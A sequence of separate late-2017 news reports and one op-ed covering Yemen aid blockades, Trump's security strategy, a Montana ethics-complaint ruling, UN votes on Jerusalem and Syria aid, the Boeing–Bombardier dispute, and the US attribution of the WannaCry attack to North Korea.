Young, along with many human rights organizations, has condemned Saudi Arabias actions in Yemen, saying the Riyadh-led coalition has consistently blocked or delayed vital shipments by air and sea to ports controlled by their Houthi rebel adversaries. They accuse Saudi Arabia of violating the Geneva Conventions as well as the U.S. Foreign Assistance Act, which prohibits American assistance for countries that impede the flow of humanitarian aid. (The United States provides logistical support for the Saudi campaign.)

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With Newsteads legal interpretations in hand, lawmakers will have more ammunition to hold the administration to its commitments over Saudi Arabia, aides said.

At first, Newstead stuck to the old State Department position: that Saudis would need to block all assistance to fall afoul of U.S. law. But after three rounds of detailed questioning by Young, Newstead acknowledged that if Saudi Arabia were impeding unfettered deliveries of humanitarian aid, that would be a violation of both U.S. and international law. (The president can still make an exception and keep providing assistance even if the recipient country hindered aid.)

The State Department agrees with Newsteads interpretation of U.S. and international law, a spokesperson said, adding that, after her confirmation, Newstead will be in a position to review the legal issues in depth with the benefit of the full range of information and expertise of the U.S. government.

Tuesday marks the 1,000th day of the Saudi-led campaign against Houthi rebels in Yemen. The civil war, which pits Iranian-backed Houthi fighters against the internationally recognized government of President Abdrabbuh Mansour Hadi and his Gulf patrons, has exacted a devastating toll on civilians.

International aid officials call it the worlds worst humanitarian crisis. A shortage of fuel has caused dozens of water treatment and pumping stations to shut down, aggravating a record-setting outbreak of cholera. A United Nations report this month warned that 8.4 million people are now at risk of starvation.

The United States helps refuel aircraft, provides precision-guided munitions, and shares intelligence with the Saudi-led coalition. But the Saudis and their Gulf partners are no closer to victory after launching their intervention in March 2015.

Amid growing frustration in Congress and with Newsteads nomination stalled, the administration in recent weeks urged Saudi Arabia to ease its restrictions on aid, and the White House took the unusual step of issuing a public statement repeating the request. Deputy Secretary of State John Sullivan summoned the Saudi ambassador over the issue, and senior White House officials have conveyed their dissatisfaction with the humanitarian situation. In response to U.S. pressure, the Saudis partially lifted a halt on aid and shipments to ports, but they have continued to restrict fuel and some other commercial deliveries.

Britain is also taking a tougher line. It is very clear that if you are using starvation as a weapon you are in breach of international humanitarian law, said Penny Mordaunt, U.K. international development secretary, during a visit to Djibouti this week. And what I have seen on my visit is that what is being held up is aid.

In a phone call Tuesday with Trump, British Prime Minister Theresa May said the two leaders agreed on the vital importance of reopening humanitarian and commercial access to prevent famine and alleviate the suffering of innocent Yemenis.

Saudi Arabias embassy was not immediately available to comment.

In Washington, Young has repeatedly pushed the White House  publicly and privately  to use its leverage with the Saudis to ease the humanitarian crisis. While acknowledging Saudi Arabias concerns about Houthi cross-border missile attacks, the conservative Republican warned last week that Riyadhs siege warfare risked backfiring catastrophically.

The worsening humanitarian crisis caused by Saudi Arabias actions are transforming noncombatants in Yemen into life-long enemies of Riyadh and the United States  providing opportunities for Iran that it will use to further undermine Saudi and U.S. security and economic interests, destabilize the region, and advance Tehrans malign activities, the senator said in a letter to the president.

Democratic Sen. Chris Murphy of Connecticut, who along with Young had held up Newsteads confirmation, said he was glad the Trump administration is starting to listen to concerns from Congress and take steps to address the needless suffering within Yemen. But he added that rather than fueling the war, Washington should be pressing for a diplomatic solution.

Without more progress from Riyadh, Young, Murphy and other lawmakers could soon look to cut off arms sales or other military assistance to the Saudis.

If the Saudis do not eliminate the impediments to humanitarian assistance in Yemen, there are additional legislative ways to apply pressure, the congressional aide said.

Links to the written questions and answers between Sen. Young and the next State Department legal adviser, Jennifer Newstead, can be found here, here, and here.
By Steve Holland WASHINGTON (Reuters) - President Donald Trump will lay out a new U.S. national security strategy on Monday based on his "America First" policy and will, among other items, make clear that China is a competitor, two senior U.S. officials said on Saturday. Trump has praised Chinese President Xi Jinping while also demanding that Beijing increase pressure on North Korea over its nuclear program and to change trade practices to make them more favorable to the United States. The national security strategy, to be rolled out in a speech by Trump, should not be seen as an attempt to contain China but rather to offer a clear-eyed look at the challenges China poses, said the officials, who spoke on condition of anonymity. The strategy, which was still being drafted, may also reverse Democratic President Barack Obama's declaration in September 2016 that climate change is a threat to security, one official said. Trump, a Republican, is to lay out his foreign policy priorities, and will emphasize his commitment to "America First" policies such as building up the U.S. military, confronting Islamist militants and realigning trade relationships to make the United States more competitive, the officials said. (Reporting By Steve Holland; editing by Grant McCool)
By Steve Holland and James Oliphant

WASHINGTON (Reuters) - U.S. President Donald Trump's administration said on Monday that Russia interferes in the domestic political affairs of countries globally, but stopped short of accusing Moscow of meddling in the 2016 U.S. election.

The criticism of Russia, laid out in a new national security strategy based on Trump's "America First" vision, reflects a view long held by U.S. diplomats that Russia actively undermines American interests at home and abroad, despite Trump's own bid for warmer ties with President Vladimir Putin.

"Through modernized forms of subversive tactics, Russia interferes in the domestic political affairs of countries around the world," said the document.

It avoided directly citing what U.S. intelligence agencies say was Russian meddling in last year's U.S. presidential election.

"Russia uses information operations as part of its offensive cyber efforts to influence public opinion across the globe. Its influence campaigns blend covert intelligence operations and false online personas with state-funded media, third-party intermediaries, and paid social media users or 'trolls,'" the document said.

Trump has frequently spoken of wanting to improve relations with Putin, even though Russia has frustrated U.S. policy in Syria and Ukraine and done little to help Washington in its standoff with North Korea.

In a speech laying out his strategy, Trump noted that he received a call from Putin on Sunday to thank him for providing U.S. intelligence that helped thwart a bomb attack in the Russian city of St. Petersburg.

Trump said the collaboration was "the way it's supposed to work."

"But while we seek such opportunities of cooperation, we will stand up for ourselves and we will stand up for our country like we have never stood up before," he said at the Ronald Reagan Building in downtown Washington.

The audience of about 650 people frequently applauded the speech. It included the military's Joint Chiefs of Staff, several Cabinet secretaries, lawmakers, military personnel and officials from the intelligence community and other agencies.

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A U.S. Justice Department investigation is looking into whether Trump campaign aides colluded with Russia, something that Moscow and Trump both deny.

U.S. intelligence agencies have concluded Russians tried to tip the election to Trump through hacking and releasing emails to embarrass Democratic candidate Hillary Clinton and spreading social media propaganda.

Facebook, Google <GOOGL.O> and Twitter Inc <TWTR.N> are facing a backlash after saying Russians used their services to anonymously spread divisive messages among Americans in the run-up to the election.

Other Western nations, including France, have accused Russia of trying to interfere in their elections.

TRUMP STRATEGY

Congress mandates that every U.S. administration set out its national security strategy. The new Trump strategy is influenced strongly by the thinking of top national security officials rather than that of the president himself, said one official involved in preparing the document.

The Republican president's strategy reflects his "America First" priorities of protecting the U.S. homeland and borders, rebuilding the military, projecting strength abroad and pursuing trade policies more favorable to the United States.

Talking points sent to U.S. embassies worldwide on what diplomats should say about the new strategy makes clear that the official U.S. position is tough on Russia.

An unclassified State Department cable, seen by Reuters, said: "Russia tries to weaken the credibility of America's commitment to Europe. With its invasions of Georgia and Ukraine, Russia has demonstrated a willingness to use force to challenge the sovereignty of states in the region."Harry Kazianis, an analyst at the conservative Center for the National Interest think tank, said, "While things with Moscow might be warm and fuzzy for the moment, President Putin will not take too kindly to being labeled as what essentially amounts to as an enemy of America."

It drops Democratic former President Barack Obama's 2016 description of climate change as a U.S. national security threat, aides said. Trump has vowed to withdraw the United States from the Paris climate accord unless changes are made to it.

The Trump administration lumps together China and Russia as competitors seeking to challenge U.S. power and erode its security and prosperity.

The singling out of China and Russia as "revisionist powers" also comes despite Trump's own attempts to build strong relations Chinese President Xi Jinping.

A senior administration official said Russia and China were attempting to revise the global status quo - Russia in Europe with its military incursions into Ukraine and Georgia, and China in Asia by its aggression in the South China Sea. Russia denies the allegations that it meddled with the 2016 U.S. presidential election.

Trump has been working with Xi to exert pressure on North Korea over its nuclear and ballistic missile programs.

The administration warned that intellectual property theft by China is a national security problem.

We need to protect data in different ways. We need to ensure that the legislation we have, like CFIUS, is up to date and reflects the kinds of strategic investments that are taking place by other countries, an administration official said.

The Committee on Foreign Investment in the United States (CFIUS), which reviews the purchase of U.S. assets by foreign companies, has recently taken a strong stand against technology transfers to Chinese companies.

(Additional reporting by Phil Stewart, Arshad Mohammed, Warren Strobel and John Walcott; Editing by Alistair Bell and Jonathan Oatis)
Ethics complaints filed against elected officials will be public going forward after an order Monday from a federal judge in Helena.

Since 2001, state law has dictated ethics complaints be confidential until a ruling is issued. That notion was challenged by state Rep. Brad Tschida, a Republican from Missoula. Days before the November 2016 general election in which Gov. Steve Bullock won re-election, Tschida discussed his ethics complaint against Bullock before it was ruled on.

Tschida later argued the law, saying that not being able to discuss the ethics complaint while it was pending violated his First Amendment right to free speech, an argument with which U.S. District Court Judge Brian Morris agreed.

Montanas confidentiality provision restricts speech regarding alleged wrongdoing by public officials, Morris wrote.

Morris order means future ethics complaints against elected officials will be public, but not those against state employees. The judge wrote that state employees, unlike elected officials and politicians, have not sacrificed their privacy by injecting themselves into public debate, Morris wrote. Campaign finance complaints have long been public when filed and are not affected by the order.

The bulk of ethics complaints are made against un-elected state employees. Between Jan. 1, 2012 and June 1, 2017, 41 ethics complaints were filed alleging violations by 85 individuals and organizations. Of those, only 22 were elected or appointed officials.

Complaints previously were kept private because of their often speculative, embarrassing, and harassing content, according to court documents.

Jeff Mangan, who was appointed Commissioner of Political Practices earlier this year, said his office will make ethics complaints against elected officials going forward public. There are no pending ethics cases awaiting adjudication.

For ethics complaints involving state employees, results of investigations will continue to be released and use initials to identify the employee. In cases where a complaint is filed against an elected official and state employee, the complaint could be divided to make part public and part private.

Mangan said no decision has been made regarding an appeal at this time.

On Tuesday, Tschida's lawyer, Matthew Monforton, criticized Motl's actions.

"Motl claimed, a week before the election, that Tschida would be criminally prosecuted for exposing Bullock's and O'Leary's abuse of the state plane. That threat didn't pan out, nor did it derail Tschida's re-election."

Tschida sued the former Commissioner of Political Practices, Jonathan Motl, in November 2016. Tschida said Motl threatened him by telling reporters Tschida could face fines or jail time for disclosing an ethics complaint before it was decided.

Tschida said at the time he was forced to discuss the complaint because Motl had not taken action on it before the pending November 2016 general election.

On Sept. 19, 2016, just less than a month before the general election, Tschida filed an ethics complaint with the Commissioner of Political Practices that claimed Bullock, who was running for re-election, had used the state airplane to fly himself and Meg OLeary, then director of the Commerce Department, to Missoula in 2014 for a Paul McCartney concert in Missoula. His complaint contended the concert was not official state business.

The complaint also said Bullock used money from the Democratic Governors Association, of which he was chairman at the time, to pay for a trip for him and OLeary to Puerto Rico.

Bullocks office has repeatedly said the Missoula trip was to conduct state business where Bullock and O'Leary met with economic development contacts, and that the governor has never been to Puerto Rico.

Tschida filed a revised complaint Sept. 21 that did not include the claim of travel to Puerto Rico because it could not be substantiated.

Motl investigated and dismissed the amended complaint Nov. 21, saying it did not state a violation of ethics laws, lacked sufficient allegations and was frivolous.

In letters to Tschida, Bullock and OLeary when both complaints were filed, Motl reminded all parties that ethics complaints were private until adjudicated.

On Nov. 2, however, Tschida disclosed the amended complaint by sending it in an email to members of the state House. In that email, he also accused Motl of delaying a decision on the complaint. Some newspapers ran stories later that day discussing the email from Tschida and the complaint, even though it was supposed to be confidential.

In his decision, Morris notes Rep. Tschida likely disclosed the filing of his amended ethics complaint on the eve of the 2016 general election in order to affect the outcome of the election.

Morris also wrote Tschidas amended complaint provided a textbook example of speculation used for maximum potential embarrassment and harassment. ...

He continued:

Tschida further coarsened our political discourse with entirely speculative claims regarding the governor and OLeary and their unsubstantiated use of state-owned aircraft to facilitate 'a personal relationship. Montanas elected officials may take cold comfort in the notion that even a false statement may be deemed to make a valuable contribution to public debate as it brings about the clearer perception and livelier impression of the truth, produced by its collision with error.

Concerns over making ethics complaints public include the argument that public disclosure of filings could somehow make the fillings themselves more legitimate by appearing to lend the states acceptance of the claims. Others have argued making the complaints public would allow for people to make wild accusations to score political points.

Morris wrote, however, that the governor, as Montanas top elected official, must endure a heightened level of criticism regardless of how baseless these accusations may be.

Mangan said that frivolous complaints will be dismissed, though the person who was the subject of the complaint would have no recourse through the Commissioner of Political Practices office.

The privacy provision was amended into state law in 2001; at the time then-Sen. Dan Hargrove described ethics complaints as different than the rough and tumble finance laws.
DENPASAR, Indonesia (Reuters) - Indonesian police have recaptured a U.S. citizen who escaped a week ago from an overcrowded prison on the holiday island of Bali, the jail's second breakout of foreign inmates this year. Cristian Beasley from California was rearrested on Sunday, Badung Police chief Yudith Satria Hananta said, without providing further details. Beasley was a suspect in crimes related to narcotics but had not been sentenced when he escaped from Kerobokan prison in Bali last week. The 32-year-old is believed to have cut through bars in the ceiling of his cell before scaling a perimeter wall of the prison in an area being refurbished. The Kerobokan prison, about 10 km (six miles) from the main tourist beaches in the Kuta area, often holds foreigners facing drug-related charges. Representatives of Beasley could not immediately be reached for comment. In June, an Australian, a Bulgarian, an Indian and a Malaysian tunneled to freedom about 12 meters (13 yards) under Kerobokan prison's walls. The Indian and the Bulgarian were caught soon after in neighboring East Timor, but Australian Shaun Edward Davidson and Malaysian Tee Kok King remain at large. Davidson has taunted authorities by saying he was enjoying life in various parts of the world, in purported posts on Facebook. Kerobokan has housed a number of well-known foreign drug convicts, including Australian Schappelle Corby, whose 12-1/2-year sentence for marijuana smuggling got huge media attention. (Reporting by Reuters Bali stringer; Writing by Fergus Jensen; Editing by Michael Perry)
By Christian Lowe and Phil Stewart MOSCOW/WASHINGTON (Reuters) - The United States provided intelligence to Russia that helped thwart a potentially deadly bomb attack in St. Petersburg, U.S. and Russian officials said on Sunday, in a rare public show of cooperation despite deep strains between the two countries. Russian President Vladimir Putin telephoned U.S. President Donald Trump on Sunday to thank him for the tip-off, which the Kremlin said helped prevent a militant bomb attack on a cathedral in the Russian city, as well as other sites. The White House did not disclose details about the plot itself, but said the attack "could have killed large numbers of people." Neither the Kremlin nor the White House identified the would-be attackers. The U.S. warning allowed Russian law enforcement agencies to arrest the suspects before they could carry out their plans, the White House and Kremlin said. Relations between Washington and Moscow have been damaged by disagreements over the wars in Ukraine and Syria, although Trump pledged during his election campaign to pursue better ties with Moscow. That has been complicated by U.S. allegations - denied by Russia - that the Kremlin meddled in last year's U.S. presidential election to help Trump win. Russian officials say Putin believes Trump is not to blame for the tensions. The phone call on Sunday between Trump and Putin was at least the second such call in the past week. On Thursday, Putin and Trump discussed the crisis in North Korea. CATHEDRAL THREAT The foiled attack was to have been carried out on Kazansky Cathedral, in Russia's second city of St. Petersburg, and on other locations in the city where large numbers of people gather, the Kremlin statement said. The cathedral is a popular tourist site. The White House seized on the foiled plot in St. Petersburg as a sign of what Moscow and Washington could do if they cooperate. "Both leaders agreed that this serves as an example of the positive things that can occur when our countries work together," the White House said, adding Trump appreciated the call from Putin. Russian media reported last week that the Federal Security Service had detained followers of the Islamic State group who had been planning a suicide bomb attack on Kazansky Cathedral on Saturday. The U.S. Central Intelligence Agency and the Office of the Director of National Intelligence did not immediately respond to requests for additional details on the foiled plot. Putin said Russia would alert U.S. authorities if it received information about any attack being planned on the United States, the Kremlin said. Russia has repeatedly been the target of attacks by Islamist militant groups, including an attack in April that killed 14 people when an explosion tore through a train carriage in a metro tunnel in St. Petersburg. Russian police detained several suspects in that attack from mainly Muslim states in ex-Soviet central Asia. (Additional reporting by Steve Holland and Warren Strobel in Washington; Editing by Peter Cooney and Mary Milliken)
United Nations (United States) (AFP) - The UN Security Council is considering a draft resolution affirming that any change to the status of Jerusalem has no legal effect and must be reversed, in response to the US decision to recognize the city as Israel's capital.

Egypt circulated the draft text on Saturday, and diplomats said the council could vote on the proposed measure as early as Monday.

Breaking with the international consensus, US President Donald Trump this month announced that he would recognize Jerusalem as Israel's capital and move the US embassy there from Tel Aviv, sparking protests and strong condemnation.

The draft resolution obtained by AFP stresses that Jerusalem is an issue "to be resolved through negotiations" and expresses "deep regret at recent decisions concerning the status of Jerusalem," without specifically mentioning Trump's move.

"Any decisions and actions which purport to have altered the character, status or demographic composition of the Holy City of Jerusalem have no legal effect, are null and void and must be rescinded," it said.

Diplomats said they expected the United States to use its veto power to block the measure while most, if not all, of the 14 other council members were expected to back the draft resolution.

US Vice President Mike Pence will visit Jerusalem on Wednesday, wading into the crisis over one of the most controversial issues in the Israeli-Palestinian conflict.

Israel seized control of the eastern part of the city in the 1967 Middle East war and sees the whole of Jerusalem as its undivided capital. The Palestinians view the east as the capital of their future state.

Israel's UN Ambassador Danny Danon "strongly condemned" the draft, dismissing it as an attempt by the Palestinians "to reinvent history."

"No vote or debate will change the clear reality that Jerusalem has and always will be the capital of Israel," Danon said in a statement.

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- No embassies in Jerusalem -

The draft resolution calls on all countries to refrain from opening embassies in Jerusalem, reflecting concerns that other governments could follow the US lead.

It demands that all member-states not recognize any actions that are contrary to UN resolutions on the status of the city.

Several UN resolutions call on Israel to withdraw from territory seized during the 1967 war and have reaffirmed the need to end the occupation of that land.

The Palestinians had sought a toughly-worded draft resolution that would have directly called on the US administration to scrap its decision.

But some US allies on the council such as Britain, France, Egypt, Japan and Ukraine were reluctant to be too hard-hitting and insisted that the proposed measure should reaffirm the position enshrined in current resolutions, diplomats said.

Backed by Muslim countries, the Palestinians are expected to turn to the UN General Assembly to adopt a resolution rejecting the US decision, if, as expected, the measure is vetoed by the United States at the council.

Aside from the United States, Britain, China, France and Russia can veto any resolution presented at the council, which requires nine votes for adoption.

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United Nations (United States) (AFP) - The UN Security Council on Tuesday voted to renew cross-border aid deliveries to Syria's rebel-held areas for one year, but Russia abstained and warned the relief operation must gradually wind down.

Russia had demanded changes to the aid operation that has allowed since 2014 convoys to cross into war-shattered Syria from Turkey and Jordan without the approval of the government in Damascus.

Russian Deputy Ambassador Vladimir Safronkov argued that the situation in Syria had "changed radically" over the past three years and that cross-border aid was "a legacy of the past."

"We think it is important to gradually draw down this rudimentary scheme which has worked for Syria's division," Safronkov told the council.

The resolution put forward by Egypt, Japan and Sweden was adopted by a vote of 12 in favor, with Russia, China and Bolivia abstaining.

The United Nations maintains that the cross-border deliveries are a lifeline to Syrians living in rebel-held territory because the government in Damascus has heavily restricted aid shipments to those areas.

More than 13 million people need humanitarian aid in Syria, now in its seventh year of war.

Cross-border aid reaches one million Syrians per month, on average, according to UN aid officials.

Despite its complaints, Russia did not resort to its veto power to block the measure as it did last month to bury a UN-led probe of chemical weapons attacks in Syria.

Russia has used its veto 11 times at the council to thwart action directed at its Syrian ally.

- Russia wants aid scheme to end -

Moscow had argued that the aid operation undermines Syria's sovereignty because aid agencies must notify Damascus, but not seek its permission, for the deliveries inside Syria.

Safronkov said aid agencies must return to the "traditional" approach of working with the Syrian government on providing humanitarian assistance to the entire country.

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The United Nations must "make plans for a gradual withdrawal from this cross-border scheme," he said.

Syrian forces have made major military gains since Russia's intervention in the war in 2015, retaking large swathes of rebel-held territory.

After Russia complained that cross-border aid was falling into the hands of "terrorists," the council agreed to ask UN Secretary-General Antonio Guterres to review the operation in six months and recommend ways to strengthen monitoring.

Welcoming the adoption, US Deputy Ambassador Michele Sison stressed the aid was of "utmost importance to reduce the suffering in Syria."

France also said humanitarian aid was critical for Syrians and singled out the crisis in Eastern Ghouta, a rebel-held area near Damascus that has been under government siege.

With 400,000 people trapped with no access to food and medicine, Eastern Ghouta is "a new Aleppo in the making," said French Ambassador Francois Delattre, referring to Syria's second city, which fell to government forces after months of siege.

"The Syrian regime continues bombing its population, using hunger as a war tool," said Delattre. "This constitutes a war crime."

"Tiny amounts of aid have been allowed" in Eastern Ghouta, said UN aid chief Mark Lowcock.

More than 500 people are awaiting medical evacuation from the rebel-held area including 137 children, five of whom are suffering from acute malnutrition.

At least 16 Syrians have died waiting for permission to receive treatment just a few miles outside of Eastern Ghouta, among them three in the last few days, said Lowcock.

Close to three million Syrians live in besieged or hard-to-reach areas, with little access to humanitarian aid.

Reporting on the latest failed round of peace talks, UN envoy Staffan de Mistura said it was time for the United Nations to provide some ideas on the next steps to move towards a draft constitution and elections.

More than 340,000 people have died in Syria's nearly seven-year war and over half of the population has been driven from their homes.
Geneva (AFP) - The UN's human rights chief said Tuesday he was "truly shocked" by the Israeli army's killing of a wheelchair-bound Palestinian protester in Gaza, and demanded an "independent and impartial investigation".

Ibrahim Abu Thurayeh, a 29-year-old who lost both his legs in an Israeli attack a decade ago, was among five Palestinians killed on Friday during protests against US President Donald Trump's decision to recognise Jerusalem as the capital of Israel.

In a statement, UN High Commissioner for Human Rights Zeid Ra'ad Al Hussein slammed Trump's decision as "dangerously provocative" and blamed it for the violence.

Following an initial investigation, the Israeli army said on Monday it had not deliberately targeted him and had found no evidence of any "moral or professional failures".

The UN office said Abu Thurayeh was among hundreds of people who marched across farmland towards the fence separating Gaza from Israel and appeared to have been shot in the head when he was 20 metres (yards) away from it.

"The facts gathered so far by my staff in Gaza strongly suggest that the force used against Ibrahim Abu Thurayeh was excessive," Zeid said.

"As far as we can see, there is nothing whatsoever to suggest that Ibrahim Abu Thurayeh was posing an imminent threat of death or serious injury when he was killed.

"Given his severe disability, which must have been clearly visible to those who shot him, his killing is incomprehensible -- a truly shocking and wanton act."

In video footage recorded early on Friday, Abu Thurayeh could be seen holding the Palestinian flag and giving the victory sign to Israeli soldiers across the border.

- 'Dangerously provocative' -

Israel seized the largely-Arab eastern sector of Jerusalem during the 1967 Six-Day War and later annexed it, claiming both sides of the city as its "eternal and undivided capital."

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But the Palestinians want the eastern sector as capital of their future state and have been infuriated by Trump's decision to recognise the city as the Israeli capital.

The UN rights office said Israeli forces had used live fire to disperse the protesters, indicating that the violence could be "traced directly back to the unilateral US announcement on the status of Jerusalem, which breaks international consensus and was dangerously provocative."

Zeid also called for "an independent and impartial investigation" to ensure perpetrators were held accountable.

On Monday, the Israeli army said its troops had been faced with a "riot" which was "extremely violent and included thousands of rioters."

In response, a "few controlled shootings were carried out towards main instigators," but "no live fire was aimed at Abu Thuraya," it said in a statement.

"It is impossible to determine whether Abu Thuraya was injured as a result of riot dispersal means or what caused his death," it said, adding: "The initial investigation indicates that no moral or professional failures were identified."
Nikki Haley, the US ambassador to the UN, was forced to veto the motion - AFP

The US was left isolated and forced to use its veto at the UN on Monday after Britain and all other members of the Security Council voted for a resolution condemning Donald Trumps decision on Jerusalem.

Fourteen out of the councils 15 members supported the resolution, which called Mr Trumps declaration null and void under international law, but the measure ultimately failed after the US exercised its veto power.

Although the resolution did not pass, the spectacle of Britain, France and other US allies voting against America illustrated how the US position on Jerusalem is far outside the international consensus.

Matthew Rycroft, the British ambassador to the UN, told the Council why Britain was voting against the US.

"We disagree with the US decision unilaterally to recognise Jerusalem as the capital of Israel before a final status agreement, and to move the US embassy to Jerusalem," he said.

"As recent events in the region have shown, these decisions are unhelpful to the prospects for peace in the region, an aim that all of us in this Council remain committed to. The British Embassy to Israel is based in Tel Aviv and we have no plans to move it."

The resolution, which was drafted by Egypt, did not mention Mr Trump nor the US by name.

But it expressed deep regret at recent decisions concerning the status of Jerusalem and called on all countries not to move their embassies to the disputed city.

Any decisions and actions which purport to have altered the character, status or demographic composition of the Holy City of Jerusalem have no legal effect, are null and void and must be rescinded in compliance with relevant resolutions of the Security Council, the resolution said.

Nikki Haley, the US ambassador the UN, was dismissive as members of the council discussed the measure and instead attacked the global body for what she was its bias against Israel and interference in peace talks.

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This security council put the negotiations between the Israelis and the Palestinians further out of reach by injecting itself yet again inbetween the two parties to the conflict, Mrs Haley said.

If the United Nations history in the peace efforts proves anything it is that talking in New York cannot the the place of face to face negotiations between the regional parties. It only sets back the cause of peace - not advance it.

Benjamin Netanyahu, the Israeli prime minister, thanked Mrs Haley for casting the veto.

"On Hanukkah, you spoke like a Maccabi. You lit a candle of truth. You dispel the darkness. One defeated the many. Truth defeated lies. Thank you, President Trump. Thank you, Nikki Haley."

Before the vote, the UN coordinator for the Israeli-Palestinian peace process, Nickolay Mladenov, briefed the council on the spike in tensions in the region since news of Mr Trumps announcement.

At least 27 rockets have been fired from Gaza into Israel since Hamas called for an escalation in response to the White House move, he said. Israel has retaliated with strikes against Hamas facilities in response.
Washington (AFP) - US trade officials are expected to confirm massive tariffs on Bombardier planes Tuesday in a case that has inflamed relations between Washington and Ottawa.

The trade dispute stems from a complaint by US aerospace giant Boeing against its Canadian rival that found a receptive ear in President Donald Trump, whose "America First" agenda has included taking a tough line in matters of international commerce.

Boeing argues that Bombardier signed a deal to sell its new single-aisle CS 100 planes with a price tag of just $19.6 million each, far below the $33.2 million construction cost, and a pittance compared with the list price of $79.5 million -- though that amount is almost never paid.

Bombardier was able to underprice the jets due to $3 billion in unfair government subsidies, Boeing says.

Earlier this fall, the US Commerce Department sided with Boeing in a pair of preliminary decisions, proposing nearly 300 percent anti-dumping duties on the planes, which are under contract to Delta Air Lines.

A final decision by Commerce is expected as early as Tuesday. The US International Trade Commission is due to rule on the merits of the case in February, though it rarely differs from Commerce.

Bombardier and Boeing argued their cases Monday before the ITC, an independent, quasi-judicial US agency.

Investigations "established beyond question that Bombardier has taken billions of dollars in illegal government subsidies to prop up its C Series program," Boeing said after the hearing.

"The C Series would not even exist at this point but for those subsidies," Boeing said, adding that the support enabled the company "to dump aircraft into the US market at absurdly low prices."

- Airbus to the rescue? -

Bombardier calls Boeing's criticism unfounded, saying that the US company's entire case has been overtaken by events.

In October, shortly after the preliminary tariffs were announced, Boeing archrival Airbus took a majority stake in the C-Series program, announcing that the planes would be built at the Airbus plant in Mobile, Alabama.

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The partnership with Airbus means there is "no chance Boeing will be harmed by imports," said Mike Nadolski, vice president of public affairs at Bombardier.

Bombardier also has argued that Boeing does not manufacture a direct competitor to the CS 100, which seats 100 to 150 people, and that its robust order book of 737 planes proves it is well positioned commercially and has not been adversely affected by unfair trade.

The criteria of material injury to a US company is the usual standard for Washington to launch a trade case and impose punitive duties on a particular import.

The case has been a sore point in US-Canadian relations.

US Secretary of State Rex Tillerson will be in Ottawa on Tuesday for talks with his counterpart Chrystia Freeland. The meeting is focused on North Korea, but is expected to touch on commercial matters.

Tillerson also is expected to meet with Canada's Prime Minister Justin Trudeau, who has defended Bombardier.

"Attempts by Boeing to put tens of thousands of aerospace workers out of work across Canada is not something we look on positively," Trudeau said in October after pressing Trump on the matter.

Trudeau's government had planned to purchase 18 new Boeing Super Hornets to replace its aging F-18 fleet, but scrapped the deal following Boeing's complaint against Bombardier.

Boeing suffered another setback last week when Delta announced it was ordering 100 Airbus planes to renew its narrow-body fleet in a move that analysts viewed as a snub of Boeing over the case.
In fighting the substance use crisis, we cannot forget that so many struggling to overcome substance abuse are also parents. Children are part of families, and effective programs and policies must address the needs of both.

The substance use epidemic is devastating families and communities across Montana, particularly the impact of methamphetamines, or meth. Between 2010 to 2015, the state saw a 427 percent increase in methamphetamine violations in addition to opioids and other substances. Alcohol abuse is accountable for 34 percent of traffic fatalities and 390 deaths are attributable to alcohol abuse. Despite this staggering increase, 90 percent of Montanans with substance use disorders are still not receiving treatment. What we do know is that most of those who struggle with addiction are also parents, and if we continue to ignore treatment needs, children will suffer and families remain in crisis.

Currently, 46 percent of all children placed in foster care in Montana are from families who are affected by methamphetamine use, and our states foster care caseloads have been on the rise since 2009. The reality is that we are not meeting the needs of parents with substance use disorders and too many children are being removed from their families and placed into foster care as a result. Additionally, the stigma of entering treatment as a parent and the fear of having to choose treatment or to keep their children often prevents many parents from seeking support to their challenges.

Addiction is a disease that affects the entire family; and it can impact multiple generations. Often, traumatic experiences lead to addiction. Dr. Daniel Sumrok, director of the Center for Addiction Sciences at the University of Tennessee Health Science Centers College of Medicine, explained addiction as a normal response to adversity experienced in childhood, just like bleeding is a normal response to being stabbed. When these traumas go unaddressed, families are pulled apart, children experience ongoing trauma, and the cycle continues. When a parent or family member uses meth or other substances, it is doesnt just hurt a child in the present. It can also lead to significant negative health outcomes later in life. For young children experiencing critical periods of brain development, our ability to intervene quickly to treat parental substance use means we can prevent trauma before it occurs and set children on a pathway to healthy development.

To ensure families receive the services they need to stay healthy and stay together, Florence Crittenton recently opened a family-based substance use treatment program. After 117 years of providing residential services to help children and youth, mostly girls and young women with histories of severe trauma, we have come to understand that comprehensive family-based treatment services are a critical bridge to addiction recovery and long-term family success.

Family-based treatment allows children to remain safely with their parents, allowing adults to access the intensive services they need along with wraparound supports such as child care, tutoring, parenting classes, housing support, job training, and individualized therapy. Parents in recovery consistently say that their children are their biggest motivation to get better. This effective and holistic treatment model provides both adults and children with the supports they need to succeed and stay together as a family.

This approach also saves money. When families get the help they need before a crisis occurs, communities have fewer healthcare, public assistance, criminal justice and foster care costs.

At Florence Crittenton, we are proud of this new direction for our agency and ask for your partnership to better serve the children and families who need it most. Together, we can overcome this epidemic, get families the help they need and help children thrive.
Washington (AFP) - The White House on Tuesday publicly accused North Korea of launching a massive cyberattack that hit 150 countries last May -- hobbling networks from Britain's public health system to FedEx.

"After careful investigation, the United States is publicly attributing the massive 'WannaCry' cyberattack to North Korea," said White House homeland security advisor Tom Bossert.

"We do not make this allegation lightly, we do so with evidence and we do so with partners," he added.

Exploiting a security flaw in Microsoft's Windows XP operating system, the malware infected an estimated 300,000 computers demanding ransom to decrypt data.

The United States is the latest country to point the finger of blame at Pyongyang, attribution which comes as part of a drive to exert "maximum pressure" on the regime.

As yet, no retaliatory measures have been announced.

Among the infected computers were those at Britain's National Health Service (NHS), Spanish telecoms company Telefonica and US logistics company FedEx.

London had already blamed North Korea, which hit a third of Britain's public hospitals.

Pyongyang then denied the allegation, saying it went "beyond the limit of our tolerance" and was a "wicked attempt to lure the international community into harboring greater mistrust of the DPRK."

- US government under scrutiny -

Questions had been raised about whether the US government acted in a timely manner to respond to the attack, with Microsoft accusing Washington of spotting the flaw and using it for its own ends.

"This attack provides yet another example of why the stockpiling of vulnerabilities by governments is such a problem," Microsoft's Brad Smith said at the time.

"Repeatedly, exploits in the hands of governments have leaked into the public domain and caused widespread damage," he said, claiming that the National Security Agency of spotting the flaw and saying nothing.

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Bossert said that the United States kept only 10 percent of security flaws secret and had no policy of "stockpiling" or withholding information from potential targets.

Since coming to office Donald Trump has sought to put pressure on North Korea, as its reclusive leaders edge ever-closer to developing a ballistic missile that could deliver a nuclear warhead to the United States.

Amid a series of tests Trump's administration has appeared at odds over whether talks could offer a way out of the standoff.

National Security Advisor HR McMaster tried to clean up that question in an interview with the BBC, saying the United States wanted a peaceful solution: "Of course that's what we want but we are not committed to a peaceful resolution."

